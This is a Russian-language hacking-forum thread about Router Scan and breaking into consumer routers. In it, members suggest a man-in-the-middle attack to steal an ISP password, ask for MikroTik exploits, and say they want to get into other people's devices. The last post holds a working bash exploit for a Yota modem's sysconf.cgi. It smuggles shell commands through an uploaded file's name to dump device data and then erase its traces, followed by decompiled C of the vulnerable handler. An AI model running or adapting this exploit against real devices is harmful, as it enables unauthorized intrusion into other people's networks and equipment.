прога Router Scan

Discussion in 'Беспроводные технологии/Wi-Fi/Wardriving' started by СЕРЖ32, 11 Nov 2013.

  1. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    Думаю, не составит труда поставить перехватывающий свитч между сетью провайдера и роутером.

    Устройте атаку MITM, сымитируйте проблему с инетом, и перехватите пароль. :)
     
    Triton_Mgn and sha9 like this.
  2. Oleg1772

    Oleg1772 New Member

    Joined:
    21 Dec 2015
    Messages:
    23
    Likes Received:
    0
    Reputations:
    0
    Что содержит в себе железка без прошивки? Можно ли вытащить что либо оттуда?
     
    #3802 Oleg1772, 4 Jul 2017
    Last edited: 4 Jul 2017
  3. sha9

    sha9 Well-Known Member

    Joined:
    25 Sep 2015
    Messages:
    568
    Likes Received:
    735
    Reputations:
    2
    думал над этим.но хотелось-бы попроще.не привлекая внимание провайдера:)
     
    Triton_Mgn likes this.
  4. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    Процессор (чаще MIPS, реже ARM) + оперативка + постоянная память (разделена на части: загрузчик/прошивка/конфиг) + WLAN чип (иногда интегрирован в процессор) + аппаратный коммутатор + другие опциональные интерфейсы, например USB. И всё это распаяно на материнке, у которой бывает консольный отладочный порт и/или JTAG.
     
    Veil, Triton_Mgn and sha9 like this.
  5. Oleg1772

    Oleg1772 New Member

    Joined:
    21 Dec 2015
    Messages:
    23
    Likes Received:
    0
    Reputations:
    0
    А может производитель оставить бэкдор там?
     
  6. V777

    V777 Elder - Старейшина

    Joined:
    12 May 2015
    Messages:
    1,326
    Likes Received:
    3,181
    Reputations:
    24
    RouterOS v6.33.2 к ним есть какие єксплоиты ?
     
  7. sha9

    sha9 Well-Known Member

    Joined:
    25 Sep 2015
    Messages:
    568
    Likes Received:
    735
    Reputations:
    2
    не все. иначе-бы АНБ не разрабатывало инструмент взлома роутеров о котором говорилось несколькими постами выше, и который выложила в паблик шадоу брокер. и китайцы точно уж не переводили-бы роутерскан на китайский язык, а тем более не использовали его для демонстрации уязвимостей на своих конференциях по безопасности.
     
  8. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    Чисто технологически, в подобном железе трудно оставить бекдоры. Роутерные процессоры в разы слабее компьютерных, и заточены под RISC архитектуры, описанные выше.
    Удваиваю вопрос.
     
  9. sha9

    sha9 Well-Known Member

    Joined:
    25 Sep 2015
    Messages:
    568
    Likes Received:
    735
    Reputations:
    2
    это микротик? в паблике только два (или три) и все связаны только с дос
     
    Triton_Mgn likes this.
  10. Felis-Sapiens

    Felis-Sapiens Reservists Of Antichat

    Joined:
    21 Jul 2015
    Messages:
    616
    Likes Received:
    3,833
    Reputations:
    171
  11. V777

    V777 Elder - Старейшина

    Joined:
    12 May 2015
    Messages:
    1,326
    Likes Received:
    3,181
    Reputations:
    24
    Да, это микротик
     
    sha9 likes this.
  12. sha9

    sha9 Well-Known Member

    Joined:
    25 Sep 2015
    Messages:
    568
    Likes Received:
    735
    Reputations:
    2
    терпеть ненавижу их . в чужих сетях. давно ищу способ до них добраться.
     
    V777 and Triton_Mgn like this.
  13. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    sha9 likes this.
  14. Triton_Mgn

    Triton_Mgn Elder - Старейшина

    Joined:
    6 Jul 2015
    Messages:
    3,673
    Likes Received:
    5,797
    Reputations:
    51
    Дело в том, что мы имеем постоянные проблемы с mikrotik и ubiquiti = эх, ничего, посмотрим..
     
    binarymaster and sha9 like this.
  15. pkrw88

    pkrw88 Member

    Joined:
    30 Jun 2017
    Messages:
    21
    Likes Received:
    38
    Reputations:
    0
    не знаю, совпадение ли, но у многих модемов из выборки стоит проброс портов к кинетикам
     
    binarymaster and sha9 like this.
  16. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    По-моему у тех есть USB порты, через который как раз запитывается Yota-модем, раздающий инет.
     
    sha9 likes this.
  17. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    sha9, Triton_Mgn and Felis-Sapiens like this.
  18. Felis-Sapiens

    Felis-Sapiens Reservists Of Antichat

    Joined:
    21 Jul 2015
    Messages:
    616
    Likes Received:
    3,833
    Reputations:
    171
    О, я как раз про это место подумал, что там возможно rce есть
     
  19. exzet

    exzet Active Member

    Joined:
    26 May 2017
    Messages:
    67
    Likes Received:
    110
    Reputations:
    0
    Ага, 4 штырька - TX, RX, GND и VCC, а от туда уже по ком-порту можно вытащить все что угодно.
     
  20. Felis-Sapiens

    Felis-Sapiens Reservists Of Antichat

    Joined:
    21 Jul 2015
    Messages:
    616
    Likes Received:
    3,833
    Reputations:
    171
    Выяснилось, что нельзя
    Code:
    #!/bin/bash
    
    CPE=192.168.15.1:88
    
    PAYLOAD='$(export d=${PATH:0:1}; .${d}ssiget -l about > ${d}www${d}asp${d}temp.asp)'
    touch "${PAYLOAD}"
    curl -X POST -H 'Expect:' -H 'Connection: close' -F "file=@\"$PAYLOAD\"" "http://$CPE/cgi-bin/sysconf.cgi?page=mfg&action=12"
    rm -f "${PAYLOAD}"
    
    curl "http://$CPE/cgi-bin/sysconf.cgi?page=temp.asp&action=request"
    
    PAYLOAD='$(export d=${PATH:0:1}; rm -f ${d}www${d}asp${d}temp.asp)'
    touch "${PAYLOAD}"
    curl -X POST -H 'Expect:' -H 'Connection: close' -F "file=@\"$PAYLOAD\"" "http://$CPE/cgi-bin/sysconf.cgi?page=mfg&action=12"
    rm -f "${PAYLOAD}"
    

    PHP:
    #include <stdio.h>
    #include <strings.h>

    int main(int argc, const char **argv, const char **envp)
    {
        
    char page[52];
        
    int ivar_C;
        
    char *ptr;
       
        
    var_C 0;
        
    ptr get_query(stdin);
        
    init_cgi(ptr);
        ;
        
    strcpy(pageget_cgi("page"));
        
    var_48 getenv("REMOTE_ADDR");
        
    var_44 getenv("REQUEST_METHOD");
        if (
    strstr(page"..") != NULL || strchr(page"/") != NULL)
        {
            
    fwrite("Content-Type: text/html\r\n\r\n"10x1Bstdout);
            
    fwrite("Wrong Page."10xBstdout);
            
    init_cgi(0);
            
    free(ptr);
            return 
    0;
        }
       
        if (
    strcmp(page"mfg") == 0)
        {
            
    sub_4014B8(stdout);
            
    init_cgi(0);
            
    free(ptr);
            return 
    0;
        }
       
        if (
    strcasecmp(get_cgi("action"), "request") == 0)
        {
            
    webs_write(pagestdout);
            
    init_cgi(0);
            
    free(ptr);
            return 
    0;
        }
       
        
    0;
        while (
    1)
        {
            if (
    strcmp(pageoff_41A5A0[i]) == 0)
            {
                
    off_41A5A0[1](pagevar_Cstdout);
                break;
            }
            if (
    off_41A5A0[i] == 0)
                break;
            ++
    i;
        }
       
        if (
    dword_41A7C0 != 0)
            
    webs_redirect(0"reboot"0stdout);
        else if (
    dword_41A7C4 != 0)
            
    system("(sleep 3 && reboot) >/dev/null 2>&1 &");
       
        if (
    page[0] != '\0')
            
    webs_redirect(0pagevar_Cstdout);
       
        
    init_cgi(0);
        
    free(ptr);
        return 
    0;
    }

    void sub_4014B8(FILE *out_stream)
    {
        
    char *action;
        
    char cmd[0x400];
       
        
    action get_cgi("action");
        
    fwrite("Content-Type: text/html\r\n\r\n"10x1Bout_stream);
       
        if (
    strcmp(action"11") == 0)
        {
            
    memset(cmd00x400);
            
    sprintf(cmd"ipkg -f %s remove telnetd > /dev/null""/etc/conf/app/ipkg.conf");
            
    system(cmd);
        }
        else if (
    strcmp(action"12") == 0)
        {
            
    unlink("/mnt/jffs2/ipkg/lists/openwmx");
            
    unlink("/mnt/jffs2/ipkg/lists/devicesw");
            
    unlink("/tmp/upgrade_success");
            
    ipkg_install(stdin);
        }
        else if (
    strcmp(action"1") == 0)
        {
            
    fputs(sub_4040C0("/Yota_VERSION"), out_stream);
        }
        else if (
    strcmp(action"16") == 0)
        {
            
    fputs(sub_404230("serial"), out_stream);
        }
        else if (
    strcmp(action"19") == 0)
        {
            
    fputs(sub_404230("hid"), out_stream);
        }
        else if (
    strcmp(action"20") == 0)
        {
            
    fputs(sub_404230("cid"), out_stream);
        }
        else if (
    strcmp(action"21") == 0)
        {
            
    fputs(sub_404230("pid"), out_stream);
        }
        else if (
    strcmp(action"22") == 0)
        {
            
    fputs(sub_404230("mid"), out_stream);
        }
        else if (
    strcmp(action"24") == 0)
        {
            
    fputs(sub_4013B4("cd /usr/factory; ./mp_tool imei read"), out_stream);
        }
        else if (
    strcmp(action"28") == 0)
        {
            
    fputs(sub_404230("lanaddr"), out_stream);
        }
        else if (
    strcmp(action"29") == 0)
        {
            
    fputs(sub_404230("hostaddr"), out_stream);
        }
        else if (
    strcmp(action"30") == 0)
        {
            
    fputs(sub_4013B4("cd /usr/factory; ./mp_tool led on"), out_stream);
        }
        else if (
    strcmp(action"31") == 0)
        {
            
    fputs(sub_4013B4("cd /usr/factory; ./mp_tool led off"), out_stream);
        }
        else if (
    strcmp(action"32") == 0)
        {
            
    fputs(sub_4013B4("cd /usr/factory; ./mp_tool imsi read"), out_stream);
        }
        return;
    }

    int ipkg_install(FILE *in_stream)
    {
        
    char fname[0x100], cmd[0x80], verif_res[0xA];
        
    FILE *chk_stream;
        
    int i_ret;
       
        
    chk_stream NULL;
        
    i_ret 1;
       
        
    update_upload_status("Downloading");
        if (
    sub_408B4C(fnamein_stream) == 0)
        {
            
    i_ret 2;
            
    update_upload_status("DownloadFail");
            goto 
    loc_exit;
        }
       
        
    update_upload_status("Installing");
        
    sprintf(cmd"/bin/ipkg_verify.sh %s > /dev/null"fname);
        
    system(cmd);
       
        
    chk_stream fopen("/tmp/ipkg.chk""r");
        if (
    chk_stream == NULL)
        {
            
    i_ret 2;
            
    update_upload_status("InstallFail");
            goto 
    loc_exit;
        }
       
        if (
    fgets(verif_res0xAchk_stream) == 0)
        {
            
    i_ret 2;
            
    update_upload_status("InstallFail");
            goto 
    loc_exit;
        }
       
        if (
    strcmp(verif_res"1") != 0)
        {
            
    i_ret 2;
            
    update_upload_status("InstallFail");
            goto 
    loc_exit;
        }
       
        if (
    strstr(fname".ipk") != NULL)
        {
            
    sprintf(cmd"/bin/ipkg -f /etc/conf/app/ipkg.conf install '%s' > /tmp/ipkg.log 2>&1"fname);
            
    system(cmd);
        }
        
    i_ret 0;
       
    loc_exit:
        if (
    chk_stream != NULL)
            
    fclose(chk_stream);
        
    unlink(fname);
        return 
    i_ret;
    }

    int sub_408B4C(char *fnameFILE *in_stream)
    {
        
    int i_retunread_len;
        
    char boundary[0x80];
       
        
    i_ret 0;
        if (
    sub_4085BC(fnameboundary, &unread_lenin_stream) != 0
            
    && sub_40820C(fnameboundaryunread_lenin_stream) != 0)
        {
            
    i_ret 1;
        }
       
        if (
    i_ret == 0)
            
    unlink(fname);
        return 
    i_ret;
    }

    int sub_4085BC(char *fnamechar *boundaryint *p_unread_lenFILE *in_stream)
    {
        
    int left_bytes;
        
    char *content_type, *p_name_start, *p_name_end, *p_path_delim;
        
    char buffer[0x1000];
       
        
    p_name_end NULL;
        if (
    strncasecmp(getenv("REQUEST_METHOD"), "POST"4) != 0)
            return 
    0;
       
        if (
    boundary != NULL)
        {
            
    content_type getenv("CONTENT_TYPE");
            if (
    strncasecmp(content_type"multipart/form-data; boundary="0x1E) != 0)
                return 
    0;
            
    sprintf(boundary"--%s"content_type 0x1E);
        }
       
        if (
    getenv("CONTENT_LENGTH") == NULL)
            return 
    0;
        
    left_bytes strtoul(getenv("CONTENT_LENGTH"), 00);
       
        if (
    fname != NULL)
        {
            
    memcpy(fname"/upload/"9);
            while (
    left_bytes != 0)
            {
                
    bzero(buffer0x1000);
                if (
    fgets(buffer0x1000in_stream) == 0)
                    return 
    0;
                
    left_bytes -= strlen(buffer);
                if (
    strncasecmp(buffer"Content-Disposition:"0x14) != 0)
                    continue;
                if (
    strcasestr(buffer"name=\"file\"") == NULL && strcasestr(buffer"name=\"updateFwFile\"") == NULL)
                    continue;
                
    p_name_start strstr(buffer"filename=\"");
                if (
    p_name_start == NULL)
                    continue;
                
    p_path_delim strrchr(p_name_start'\\');
                if (
    p_path_delim == NULL)
                {
                    
    p_path_delim strrchr(p_name_start'/');
                }
                if (
    p_path_delim == NULL)
                    
    p_name_start += 0xA;
                else
                    
    p_name_start p_path_delim 1;
               
                
    p_name_end strchr(p_name_start'"');
                if (
    p_name_end != NULL)
                    *
    p_name_end '\0';
               
                
    strcat(fnamep_name_start);
                break;
            }
        }
       
        while (
    left_bytes != 0)
        {
            if (
    fgets(buffer0x1000in_stream) == 0)
                return 
    0;
            
    left_bytes -= strlen(buffer);
            if (
    strcmp(buffer"\n") == 0)
                break;
            if (
    strcmp(buffer"\r\n") == 0)
                break;
        }
       
        if (
    p_unread_len != NULL)
            *
    p_unread_len left_bytes;
        return 
    1;
    }
     
    Payer, CRACK211 and binarymaster like this.